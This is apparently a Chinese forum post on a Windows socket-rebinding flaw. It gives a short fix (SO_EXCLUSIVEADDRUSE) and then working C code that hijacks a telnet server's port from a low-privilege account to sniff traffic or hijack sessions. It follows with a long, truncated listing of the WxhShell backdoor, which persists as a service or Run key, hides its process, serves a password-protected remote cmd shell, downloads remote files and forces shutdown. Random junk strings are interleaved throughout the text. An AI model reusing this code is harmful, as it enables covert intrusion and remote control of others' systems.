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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T?X^0UdJj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .pZ o(* (R_CUH saddr.sin_family = AF_INET; atY*8I| ;/@?6T" saddr.sin_addr.s_addr = htonl(INADDR_ANY); J` w]}GlH m[Z6VHn
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ia=_78MgZ \ Y*h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 99^AT*ByY .zvlRt.zl 这意味着什么?意味着可以进行如下的攻击: QXdaMc+Ck )xB$LJM8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9>N\sOh u3 ]Uxy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9nn>O? $ZQ"({<w<g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QU:EY'2 RcgRaQ2^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1g1? zk8zO NMXnrvS& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RCI4~q $+Vmwd; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hG=k1T%= qAqoZMpI|; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7))\'\
/D0RC #include 0Cl,8P #include #(6) ^ ( #include BI};"y #include ]/Vh{d|I& DWORD WINAPI ClientThread(LPVOID lpParam); Yx5J$!Ld int main() %`#G92Z_ { a mqOxb WORD wVersionRequested; 4otl_l(`yv DWORD ret; %y>+1hakkX WSADATA wsaData; ,eDD:#)$} BOOL val; !\^jt%e& SOCKADDR_IN saddr; n@
4@, SOCKADDR_IN scaddr; +'|{1gB int err; AYcgi SOCKET s; :X_CFW SOCKET sc; 1Ao6y.S int caddsize; 8h|M!/&2 HANDLE mt; ~Rs#|JWB2V DWORD tid; Edw2W8 wVersionRequested = MAKEWORD( 2, 2 ); # :#M{1I err = WSAStartup( wVersionRequested, &wsaData ); 1 tPVP if ( err != 0 ) { bDDqaO ,8 printf("error!WSAStartup failed!\n"); ocF>LR%P return -1; RvyuGU } %zzYleJ!] saddr.sin_family = AF_INET; 9~c~E/4! l-}KmZ] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rfs (# n!G.At'JP saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @RGDhwS47 saddr.sin_port = htons(23); GAw(mH* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gWOt]D/ { BFWi(58q printf("error!socket failed!\n"); R,Fgl2 return -1; }3Y
<$YL"R } U]hF
val = TRUE; Fu7M0X'p //SO_REUSEADDR选项就是可以实现端口重绑定的 YLOwQj' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s\gp5MT { N}b^fTq printf("error!setsockopt failed!\n"); {,?ss$L return -1; r|GY]9 } 6)}B"Qd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K]/Od //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !`&\Lx_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?mx\eX{ +;Cr];b3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M0L&~p_F { :et#0! ret=GetLastError(); PcC/_+2 printf("error!bind failed!\n"); $6h*lT< return -1; a460 |w6 } icgJ;Q 5 listen(s,2); c2 A ps while(1) }D*yr3b { <T+!V-Pj* caddsize = sizeof(scaddr); yZCX S //接受连接请求 <
Ek/8x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UDEj[12S if(sc!=INVALID_SOCKET) w0w1PE-V= { 6>`c1
\8f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dJ
~Zr)> if(mt==NULL) ]~0}=,H$N { !GwL,)0@^ printf("Thread Creat Failed!\n"); /,s[#J break; sy/nESZs } V'G Ju } }%TPYc CloseHandle(mt); ?o*I9[Z) } `~#<&w closesocket(s); wN=;i# WSACleanup(); ,q#0hy%5/ return 0; iW%8/$ } 2;2}wM[ DWORD WINAPI ClientThread(LPVOID lpParam) By)u-)g9 { YXW%]Uy+ SOCKET ss = (SOCKET)lpParam; i-"
p)2d=# SOCKET sc; SaOYu &> unsigned char buf[4096]; ;dR=tAf0$Q SOCKADDR_IN saddr; 1}%B%*N long num; T,%j\0 DWORD val;
3Ot~!AlR DWORD ret; )h{ ]k= //如果是隐藏端口应用的话,可以在此处加一些判断 ;30nd= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 MGJ.,tK1 saddr.sin_family = AF_INET; YW/QC'_iC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zfA
GtT< saddr.sin_port = htons(23); X;oa[!k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c!K]J { f+_h !j printf("error!socket failed!\n"); Dd/wUP return -1; S!v(+| } Gf EX> val = 100; Om;&_!i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p Z: F:
{ T~0k"uTE ret = GetLastError(); _tTN G2 return -1; 0'YG6(h } :a
->0 l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -h|B1*mt { R_XR4)(< ret = GetLastError(); ",7Q return -1; d?`ny#,GB } PYbVy<xc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZOCDA2e(j { Od4E x;F printf("error!socket connect failed!\n"); InXn%9]p] closesocket(sc); 8_<4-<}P: closesocket(ss); -K9c@? return -1; m< _S_c } AP77a*@8 while(1) OxI/%yv-c { ;r_F[E2z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /x_o!<M //如果是嗅探内容的话,可以再此处进行内容分析和记录 r\qj! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OQW#a[=WQ num = recv(ss,buf,4096,0); :8CvRO*< if(num>0)
A); send(sc,buf,num,0); KD`IX-r{s else if(num==0) <B9C*M"4% break; [0"'T[ok num = recv(sc,buf,4096,0);
d
,4]VE if(num>0) bFe+m1Q_ send(ss,buf,num,0); Hemq+]6^ else if(num==0) JSW^dw& break; "@??Fw! } &f^, la closesocket(ss); fQ#l3@in closesocket(sc); Vx~,Uex0+ return 0 ; cSXwYZDx? } (p2K36,9m I'V4D[H5 0g0i4IV ========================================================== a)wJT`xu {q"OM*L( 下边附上一个代码,,WXhSHELL G1 vNt7 N<~t3/Nm ========================================================== e" St_z( SHe49!RA'{ #include "stdafx.h" _lamn}(x0 mIK7p6 #include <stdio.h> |Y?HA& #include <string.h> "wNJ #include <windows.h> N@t|7~ #include <winsock2.h> Wk)OkIFR #include <winsvc.h> 3B84^>U< #include <urlmon.h> '.:z&gSqx0 7pe\M/kl #pragma comment (lib, "Ws2_32.lib") <
jJ #pragma comment (lib, "urlmon.lib") "N`[r iq{ wOU_*uY@6' #define MAX_USER 100 // 最大客户端连接数 C{U?0!^ #define BUF_SOCK 200 // sock buffer KrQ1GepJ #define KEY_BUFF 255 // 输入 buffer Y$"O
VC sS*3=Yh #define REBOOT 0 // 重启 D]zwl@sRX: #define SHUTDOWN 1 // 关机 <0Xf9a8> |?,A]|j #define DEF_PORT 5000 // 监听端口 F(>Np2oi6 .%xn&3 #define REG_LEN 16 // 注册表键长度 9Z4nAc #define SVC_LEN 80 // NT服务名长度 4K\G16'$v OCe!.` // 从dll定义API JRB9rSN^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JMC. w! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '=b/6@& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +S o4rA*9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ItNz}4o|d !|^|,"A) // wxhshell配置信息 ,o86}6Ag struct WSCFG { Te"ioU?. int ws_port; // 监听端口 Tp/6,EE char ws_passstr[REG_LEN]; // 口令 i@*{27t int ws_autoins; // 安装标记, 1=yes 0=no KcWN,!G char ws_regname[REG_LEN]; // 注册表键名 rNXQf'*I char ws_svcname[REG_LEN]; // 服务名 ;U/&I3dzV char ws_svcdisp[SVC_LEN]; // 服务显示名 LBYMCY char ws_svcdesc[SVC_LEN]; // 服务描述信息 =$'6(aDH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]_f_w9] int ws_downexe; // 下载执行标记, 1=yes 0=no )_HA>o_?C: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" oB(?_No7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (7wc *#} oH97=> }; 3lrT3a3vV C0T;![/4A // default Wxhshell configuration XO.jl" xu struct WSCFG wscfg={DEF_PORT, xQ7l~O
b "xuhuanlingzhe", 'OITI TM 1, ,LHn90S "Wxhshell", UXJeAE- "Wxhshell", {'7B6 "WxhShell Service", $*^7iT4q_t "Wrsky Windows CmdShell Service", f\|w' "Please Input Your Password: ", BX`{73sw 1, Ua:}V n&! " http://www.wrsky.com/wxhshell.exe", X-bcQ@Oj "Wxhshell.exe" ZF!h<h&, }; I ce~oz) ;AG8C#_ // 消息定义模块 5'OrHk;u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h79}qU char *msg_ws_prompt="\n\r? for help\n\r#>"; /CrSu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; KjD/o?JUr char *msg_ws_ext="\n\rExit."; (p" %O char *msg_ws_end="\n\rQuit."; )8a~L8oN char *msg_ws_boot="\n\rReboot..."; !z\h|wU+ char *msg_ws_poff="\n\rShutdown..."; G<L;4nA) char *msg_ws_down="\n\rSave to "; 0{5w 6 sA+ }TNhq char *msg_ws_err="\n\rErr!"; aC]$k'71 char *msg_ws_ok="\n\rOK!"; 1KU!
tL u+9hL4 char ExeFile[MAX_PATH]; yl'u'-Zb6 int nUser = 0; >xN
.F/[K HANDLE handles[MAX_USER]; /J]5H int OsIsNt; tj' \tW+s' \;,_S+Fz8 SERVICE_STATUS serviceStatus; t*p71U4+I SERVICE_STATUS_HANDLE hServiceStatusHandle; z0d.J1VW akmkyrz '& // 函数声明 Na<pwC int Install(void); y\/1/WjBn int Uninstall(void); GV1pn) 4 int DownloadFile(char *sURL, SOCKET wsh); oh4E7yN int Boot(int flag); })'B<vq void HideProc(void); i}cRi&2[ int GetOsVer(void); B`EJb71^Xy int Wxhshell(SOCKET wsl); ?al'F q void TalkWithClient(void *cs); ]a>n:p]e int CmdShell(SOCKET sock); !hm]fh_j int StartFromService(void); Q-(zwAaE int StartWxhshell(LPSTR lpCmdLine); t$` r4Lb9/ 49eD1h3'X[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mc) }\{J VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~?l |
[ [|v][Hwv // 数据结构和表定义 Xu{1".\ SERVICE_TABLE_ENTRY DispatchTable[] = n3WlZ!$ { 11 NQR[ {wscfg.ws_svcname, NTServiceMain}, G0Iw-vf {NULL, NULL} Usvl}{L[ }; -oGdk|Yn &bS,hbD t // 自我安装 X;$+,&M" int Install(void) ?4YGT { ?d* z8w char svExeFile[MAX_PATH];
_O?`@g?i HKEY key; Y/F6\oh strcpy(svExeFile,ExeFile); I^.Om]) U4'#T%* // 如果是win9x系统,修改注册表设为自启动 w?L6!) oiz if(!OsIsNt) { 10Q ]67 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aj='b.2) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cZ,b?I"Q% RegCloseKey(key); x>K Or,f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ov@gh
kr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }J}-//[A RegCloseKey(key); hE{K=Tz$ return 0; AI2)g1m } g&L!1<,
p } hgG9m[?K } ic:zsuEm else { "x0^#AVg E_rI?t^ // 如果是NT以上系统,安装为系统服务 { l/U6]( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .^`{1% if (schSCManager!=0) T=DbBy0- { [(i SC_HANDLE schService = CreateService LBeF&sb6 ( >58YjLXb schSCManager, Q-oktRK wscfg.ws_svcname, J3V=
46Yc wscfg.ws_svcdisp, c^xIm'eob SERVICE_ALL_ACCESS,
z_$% -6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $S6`}3 SERVICE_AUTO_START, ^CYl\.Y@ SERVICE_ERROR_NORMAL, n&4N[Qlv, svExeFile, :LQYo'@yB NULL, 5{WE~8$ NULL, ?>:g?.+ NULL, ,<_A2t 2 NULL, 5DU6rks% NULL y-b%T|p9 ); rBzuKQK}J if (schService!=0) HVCe;eI { C3f' {} CloseServiceHandle(schService); DCO\c9 CloseServiceHandle(schSCManager); !PlEO 2at strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p<FzJ strcat(svExeFile,wscfg.ws_svcname); $99n&t$Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Ay9p[l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C==hox7b RegCloseKey(key); ?4} h&/ return 0; @i_FTN } ~vhE|f } H2 {+) CloseServiceHandle(schSCManager); SHxNr(wJ<Q } Y] _ruDIW } (8DC}kckE &ywPuTt return 1; RLXL& } ;`4&Rm9n? M/'sl; // 自我卸载 B]wk+8SMY. int Uninstall(void) |s(FLF - { 8'[7
)I= HKEY key;
x+:UN'"r OZF
rtc+ if(!OsIsNt) { n,(sBOQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SM#]H-3 RegDeleteValue(key,wscfg.ws_regname); 4he GnMD RegCloseKey(key); dL 1tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DJ k/{Z: RegDeleteValue(key,wscfg.ws_regname); D/xbF` RegCloseKey(key); #Y`~(K47 return 0; 3S@7]Pg } ~
'cmSiz- } l/GGCnO/ } k,6f
else { G6P?2@ IqHV)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L| +~"'l if (schSCManager!=0) r'r%w#=`t { 34O
`@j0-3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rQs)O<jl if (schService!=0) `pa!~|p { iRbT/cc{ if(DeleteService(schService)!=0) { {SPq$B_VR CloseServiceHandle(schService); 6Q@j
CloseServiceHandle(schSCManager); CS5?Ti6 return 0; PI)+Jr%L } #aJ(m& CloseServiceHandle(schService); P>C~
i:4n } yCR?UH; CloseServiceHandle(schSCManager); %QGC8Tz } ;O6;.5q& } YeL#jtC o Q2Fjj return 1; F?*-4I- } 0B/,/KX =F~S?y // 从指定url下载文件 &*,#5. int DownloadFile(char *sURL, SOCKET wsh) HxV=F66"
{ nI-w}NQ HRESULT hr; "Mn6U- char seps[]= "/"; @7]yl&LZ char *token; pfD c9PMj char *file; VcO0sa f` char myURL[MAX_PATH]; vn!3l1\+J char myFILE[MAX_PATH]; ^z IW+: 4N_R:B-Vu strcpy(myURL,sURL); zuad~%D<I token=strtok(myURL,seps); D 6Ui! while(token!=NULL) 3>AMII { _Xc8Yg }` file=token; rk2j#>l$4 token=strtok(NULL,seps); ,{u
yG: } RuA*YV 8,4"uuI GetCurrentDirectory(MAX_PATH,myFILE); >}8j+t&T strcat(myFILE, "\\"); fI}to&qk strcat(myFILE, file); gjwn7_ send(wsh,myFILE,strlen(myFILE),0); D9=KXo^ send(wsh,"...",3,0); dO<ERY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v6bGjVK[ if(hr==S_OK) P6-s0]-g return 0; 4K#>f4(U`g else %9F([K return 1; KE5kOU; df4A RP+ } EReZkvseC M#4pE_G // 系统电源模块 &tLgG4pd int Boot(int flag) ;~)5s' { x:NY\._ HANDLE hToken; |^"1{7) TOKEN_PRIVILEGES tkp; ICx#{q@f, MDZ640-Y if(OsIsNt) { #4Rx]zW^% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); np"\19^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +s,=lL tkp.PrivilegeCount = 1; |}s*E_/[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NqazpB* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ar!R|zmf if(flag==REBOOT) { +ZaSM~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y*jp79G return 0; YW,tCtI0_ } PB\(= else { 1y@i}<9F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ah4N|zJ>v return 0; sk<3`x+ } FF`T\&u } :1.L}4"gg else { #?U}&Bd if(flag==REBOOT) { 36&e.3/# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B:yGS*.tu return 0; w>s,"2&5J } Q2w_X8 else { b5dD/-Vj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <SAzxo:I return 0; njB;&N)I } ed{ -/l~j } c(f &v/dj@ return 1; x*\Y)9Vgy } #>("CAB02T %8 B}Cb&2c // win9x进程隐藏模块 ojm @t void HideProc(void) CAig]=2' { [B*x-R[FI 9rA0lqr]5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^qvZXb if ( hKernel != NULL ) 7FP*oN? { GE:vp>>}` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U/66L+1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V# }!-Xj FreeLibrary(hKernel); I;,77PxD } gS!:+G% Fj 8z return; TPQ%L@^L+ } z>1Pz( Y!aSs3c // 获取操作系统版本 *2>&"B09` int GetOsVer(void) _P#|IAq* { ]!W=^! OSVERSIONINFO winfo; "b~+;<}Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b"<liGh"n- GetVersionEx(&winfo); k{R> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5 Aw"B return 1; j1Y~_ else pTth}JM> return 0; 5 9
T8r } x xHY+(m n K1Slg#U // 客户端句柄模块 _b
pP50Cu int Wxhshell(SOCKET wsl) 1sy[@Q2b { 9R!atPz9 SOCKET wsh; gMi0FO' struct sockaddr_in client; )J o:pkM DWORD myID; (U DnsF ;>%r9pz ~ while(nUser<MAX_USER) h"B+hu { ol\Utq, int nSize=sizeof(client); Y,qI@n< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]6k\)#%2 if(wsh==INVALID_SOCKET) return 1; +qN>.y!Y ydEoC$?0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )rIwqUgp6\ if(handles[nUser]==0) >F|>cc>_E closesocket(wsh); d(ZO6Nr Q else :^lI`9'*R nUser++; h},IF } ~p6 V,Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~Py`P'+ IV~>I-rd return 0; RT4x\&q } B&M%I:i +q<jAW A // 关闭 socket L]|gZ&^ void CloseIt(SOCKET wsh) tH@Erh|% { I.(,hFx; closesocket(wsh); 5;Czu(iH$ nUser--; zEX ExitThread(0); G{~J|{t\yz } Df-DRi 6D;Sgc5" // 客户端请求句柄 JJ-( Sl void TalkWithClient(void *cs) zy?|ODM { sP pH*,( 88O8wJN SOCKET wsh=(SOCKET)cs; Lz}OwKl char pwd[SVC_LEN]; n:
^
d|@ char cmd[KEY_BUFF]; D(op)]8 char chr[1]; x
M/+L:_< int i,j; )2KF}{ ,$L4dF3 while (nUser < MAX_USER) { Wx%H%FeK ,Q$q=E;X if(wscfg.ws_passstr) {
Ux!p8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & bm
1Fz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .bl/*s //ZeroMemory(pwd,KEY_BUFF); w>&aEv/f i=0; sRR(`0Zp while(i<SVC_LEN) { `,*3[ F@jZ ho // 设置超时 tmYz R%i fd_set FdRead; GT., struct timeval TimeOut; #pow ub FD_ZERO(&FdRead); yx8z4*]kH FD_SET(wsh,&FdRead); ;\dBfP TimeOut.tv_sec=8; :A_@,Q TimeOut.tv_usec=0; ./Zk`-OBT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l~q\3UKlt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T@B/xAq5! ,.8KN<A2]' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H [\o RId pwd =chr[0]; CI0C1/:@ if(chr[0]==0xd || chr[0]==0xa) { 3AtGy'NTp pwd=0; N7zft break; hpX9[3 } X=&ET)8-Y i++; ',@3>T** } FIhk@TKa 7hcYD!DS // 如果是非法用户,关闭 socket *I.f1lz%* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oxA<VWUNT } CAWNDl4 e{K 215 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1N-\j0au send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c
( C%Hld b94DJzL1z while(1) { #&aqKVY '[:D$q; ZeroMemory(cmd,KEY_BUFF); u'DRN,h+ -<!NXm|kvz // 自动支持客户端 telnet标准 Qbn"=n2 j=0; $k%2J9O while(j<KEY_BUFF) { 'G4ICtHQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _C?hHWSf" cmd[j]=chr[0]; *Kgks 4 if(chr[0]==0xa || chr[0]==0xd) { Rtl"Ub@HV cmd[j]=0; ]neex|3lG break; *)T^ChD, } Vn}0}Jz j++; (Zrj_P`0[ } oW*16>IN9l ,T$U'&; // 下载文件 5x4yyb' if(strstr(cmd,"http://")) { ,/F~Y&1I send(wsh,msg_ws_down,strlen(msg_ws_down),0); IueFx u if(DownloadFile(cmd,wsh)) J @1!Oq> send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(~^w=d:$ else WlC:l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kfY}S } K`zdc`/ else { Hk.TM2{w |&) dh< switch(cmd[0]) { | rtD.,m c9 _rmz8 // 帮助 ,f'CD{ E case '?': { )lqAD+9Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 37.S\gO] break; +.FEq*V } WO>nIo5Y // 安装 s8t;.^1} case 'i': { D'PI1
0t if(Install()) ZG8DIV\D7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YZ8>OwQz2 else KBc1{adDx@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (vJNHY M break; G}raA% } !PQ<04jA! // 卸载 KU(&%|;g case 'r': { )}Kf= if(Uninstall()) z,p~z*4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!yzsPJL else AH7}/Rc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J<h$
wM break; '-XXo=>0MV } v$wIm, j // 显示 wxhshell 所在路径 qqY"*uJ' case 'p': { m&,(Jla char svExeFile[MAX_PATH]; iz PDd{[ strcpy(svExeFile,"\n\r"); d^
8ZeC# strcat(svExeFile,ExeFile); P}^W)@+3k send(wsh,svExeFile,strlen(svExeFile),0); =X:Y,? break; ndMA-`Ny, } zHRplm+i // 重启 =-n}[Y}A case 'b': { `1fY)d^ZS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eru.m+\ if(Boot(REBOOT)) M!^az[[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?%[@Qb=2 else { c`w}|d]mC closesocket(wsh); W[e$>yK ExitThread(0); `|&O*` } hhc,uJ">! break; :*9Wh } ]&+s6{} // 关机 S;#'M![8 case 'd': { +VOK%8,p send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "J_9WUN if(Boot(SHUTDOWN)) y}ev ,j send(wsh,msg_ws_err,strlen(msg_ws_err),0); h
J)h\ else { fuf"Ae closesocket(wsh); tFOhL9T ExitThread(0); n9ej7oj } ~V1E0qdAE break; wjB:5~n50k } 56kI
5: // 获取shell S3Xl case 's': { [?N~s:} CmdShell(wsh); $5%SNzzl closesocket(wsh); x7<K<k;s ExitThread(0); K`fuf= break; X2~!(WxU F } ')<hON44EX // 退出 _g"<UV*H case 'x': { VQOezQs\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #BH*Z( CloseIt(wsh); 3{sVVq5Y break; a~y'RyA } ^WWQI+pk // 离开 aHK}sr,U case 'q': { &E5g3lf send(wsh,msg_ws_end,strlen(msg_ws_end),0); bdE[;+58 closesocket(wsh); <bEbweQrgm WSACleanup(); <*cikXS exit(1); Ok=hT|}Y break; \ta?b!Y),? } SSMHoJGm } ((M>s&\y*Y } Jij*x>K>y NyNXP_8 // 提示信息 NU2;X (z[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8[{ Vu0R } Z=vU}S>r|v } 9V*qQS5<p > /caXvS return; i?^L/b`H } R~q]JSIC@ ]>Es4 s // shell模块句柄 PALc;"]O int CmdShell(SOCKET sock) XVZ { 4
"'~NvO STARTUPINFO si; PB\x3pV!} ZeroMemory(&si,sizeof(si)); svH !1b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B:'US&6Lf' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VRB;$ PROCESS_INFORMATION ProcessInfo; 5VU2[ \ char cmdline[]="cmd"; v mk2{f,g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nZYBE030 return 0; ^^D0^k!R } XU(eEnmom &0JI!bR( // 自身启动模式 ##" HF int StartFromService(void) nb%6X82Q { -6B4sZpzD typedef struct =Jb>x#Y { QhJiB%M DWORD ExitStatus; P+/e2Y DWORD PebBaseAddress; c\AfaK^KF DWORD AffinityMask; y?4BqgB DWORD BasePriority; |@4' <4t ULONG UniqueProcessId; #S"nF@ ULONG InheritedFromUniqueProcessId; v`1M[ } PROCESS_BASIC_INFORMATION; @E|}Y H9e<v4c PROCNTQSIP NtQueryInformationProcess; )\$|X}uny& 1]b.fD static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -nV9:opD static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P/_['7 o?\?@H HANDLE hProcess; ?&1!vz PROCESS_BASIC_INFORMATION pbi; ~Z'?LV<t {R`[kt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <wD-qT W if(NULL == hInst ) return 0; }0Ed] 0<@@?G g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `<d }V2rdz g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 